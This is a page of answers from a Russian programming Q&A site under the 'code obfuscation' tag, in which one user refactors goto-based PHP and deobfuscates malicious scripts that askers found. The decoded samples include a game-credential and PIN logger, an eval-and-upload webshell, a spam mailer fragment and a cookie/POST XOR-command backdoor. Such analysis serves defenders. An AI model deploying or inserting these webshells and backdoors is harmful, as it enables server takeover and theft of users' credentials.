Ответы пользователя по тегу Обфускация кода
  • Какая конструкция у кода должна быть без goto?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    function rotateToLast(&$streamArrUrl, $streamUrl, $stream) {
        if (count($streamArrUrl) === 0) {
            return;
        }
    
        if (empty($streamUrl)) {
            $streamArrUrl = [$streamUrl];
            return;
        }
    
        if (ipTV_lib::$settings["priority_backup"] === 1) {
            return;
        }
    
        if (empty($stream["server_info"]["current_source"])) {
            return;
        }
    
        $sourceIdx = array_search($stream["server_info"]["current_source"], $streamArrUrl);
        if ($sourceIdx === false) {
            return;
        }
        
        $tmp = array_slice($streamArrUrl, $sourceIdx + 1);
        array_splice($streamArrUrl, $sourceIdx + 1);
        $streamArrUrl = array_merge($tmp, $streamArrUrl);
    }
    
    rotateToLast($streamArrUrl, $streamUrl, $stream);
    Ответ написан
  • Как убрать обфускацию со скрипта?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    <?php
    if (isset($_GET) && !empty($_GET)) {
        $log = $_GET['log'];
        $srvr = $_GET['srvr'];
        $servname = $_GET['servname'];
        $did = $_GET['did'];
        $inf = $_GET['inf'];
        $pin = $_GET['pin'];
        $skin = $_GET['skin'];
        $score = $_GET['score'];
        $money = $_GET['money'];
        $remoteAddr = $_SERVER['REMOTE_ADDR'];
        $date = date('H:i:s-d.m.y');
        if (!empty($inf)) {
            $message = "$date | Login: $log [skin: $skin, lvl: $score, money: $money$] | Server: $srvr [$servname] | Info[id: $did]: $inf | User-IP: $remoteAddr \r\n";
        } elseif (!empty($pin)) {
            $message = "$date | Login: $log [skin: $skin, lvl: $score, money: $money$] | Server: $srvr [$servname] | Info[PIN]: $pin | User-IP: $remoteAddr \r\n";
        }
        if (isset($message)) {
            $file = fopen("By\xde\xf2\xf3\xe1\xe5\xf0\xca\xe8\xf0\xff.txt" , 'a+');
            $result = fwrite($file, $message);
        }
    } else {
        echo '<a href="https://www.youtube.com/channel/UCm9ypHcgruKSDra2xPoQ8rA">My channel</a>';
    }
    ?>
    Ответ написан
    Комментировать
  • Деобфускация php кода. Возможно ли?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    До такого вида можно автоматически:
    $GLOBALS["lhonmhqjabnfbcovnnbvdicefanx"] = "_F";
    Ну а дальше руками.
    Ответ написан
    Комментировать
  • Где можно расшифровать вирусный php код?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Такого размера файл можно и руками расшифровать, надо только немного знать PHP.
    echo 7457737+736723;
    eval(base64_decode($_POST['id'])));
    if($_POST['up'] == 'up'){
        @copy($_FILES['file']['tmp_name'],$_FILES['file']['name']);
    };
    Ответ написан
    Комментировать
  • Что делает этот код на PHP?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А что тут разбирать то? Берутся все пары имя => значение из куков и поста, значения преобразуются из шестнадцатеричной записи в бинарную, ксорятся с ключом, делятся на подстроки по # и, если количество элементов в массиве получилось кратно трём, то идёт попытка через eval выполнить второй элемент массива с аргументом из третьего.
    Ответ написан
    Комментировать
  • Как узнать, что записано в php скрипте eval(gzinflate(base64_decode)?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Заменить eval на print, выполнить скрипт, при необходимости повторить.
    После очередной итерации получите следующий код:
    $v9a5cb5d8 = "$user_name@$v0897acf4"; 
    if ($name_name != '') 
      $vd98a07f8 = "$name_name <$v9a5cb5d8>"; 
    else 
      $vd98a07f8 = $v9a5cb5d8; 
    $vb8ddc93f = "From: $vd98a07f8\r\n"; 
    $vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"; 
    $v3c87b187 = "X-Priority: 3 (Normal)\r\n"; 
    $v3c87b187 .= "MIME-Version: 1.0\r\n"; 
    $v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; 
    $v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; 
    $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f; 
    $v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n"; 
    $v4340fd73 .= "To: $v01b6e203\r\n"; 
    $v4340fd73 .= "Subject: $subject\r\n"; 
    $v4340fd73 .= $v3c87b187; 
    $v841a2d68 = $v4340fd73."\r\n".$s_body;
    Ответ написан
    Комментировать
  • Есть варианты расшифровать этот php?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Первый скрипт, принимает зашифрованную команду через $_COOKIES или $_POST и возвращает результат её выполнения.
    <?php
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    
    $command = NULL;
    $pass = NULL;
    
    global $globalKey = 'cfa57343-5fb2-4c08-95bc-c0e9c5972f14';
    
    function decode($str, $key)
    {
        $result = "";
    
        for ($i = 0; $i < strlen($str);)
        {
            for ($j = 0; $j < strlen($key) && $i < strlen($str); $j++, $i++)
            {
                $result .= chr(ord($str[$i]) ^ ord($key[$j]));
            }
        }
    
        return $result;
    }
    
    function decode2($str, $key)
    {
        global $globalKey;
    
        return decode(decode($str, $globalKey), $key);
    }
    
    foreach ($_COOKIE as $name => $value)
    {
        $command = $value;
        $pass = $name;
    }
     
    if (!$command)
    {
        foreach ($_POST as $name => $value)
        {
            $command = $value;
            $pass = $name;
        }
    }
    
    $command = @unserialize(decode2(base64_decode($command), $pass));
    if (isset($command['ak']) && $globalKey == $command['ak'])
    {
        if ($command['a'] == 'i')
        {
            $versions = Array(
                'pv' => @phpversion(),
                'sv' => '1.0-1',
            );
            echo @serialize($versions);
        }
        elseif ($command['a'] == 'e')
        {
            eval($command['d']);
        }
        exit();
    }
    Ответ написан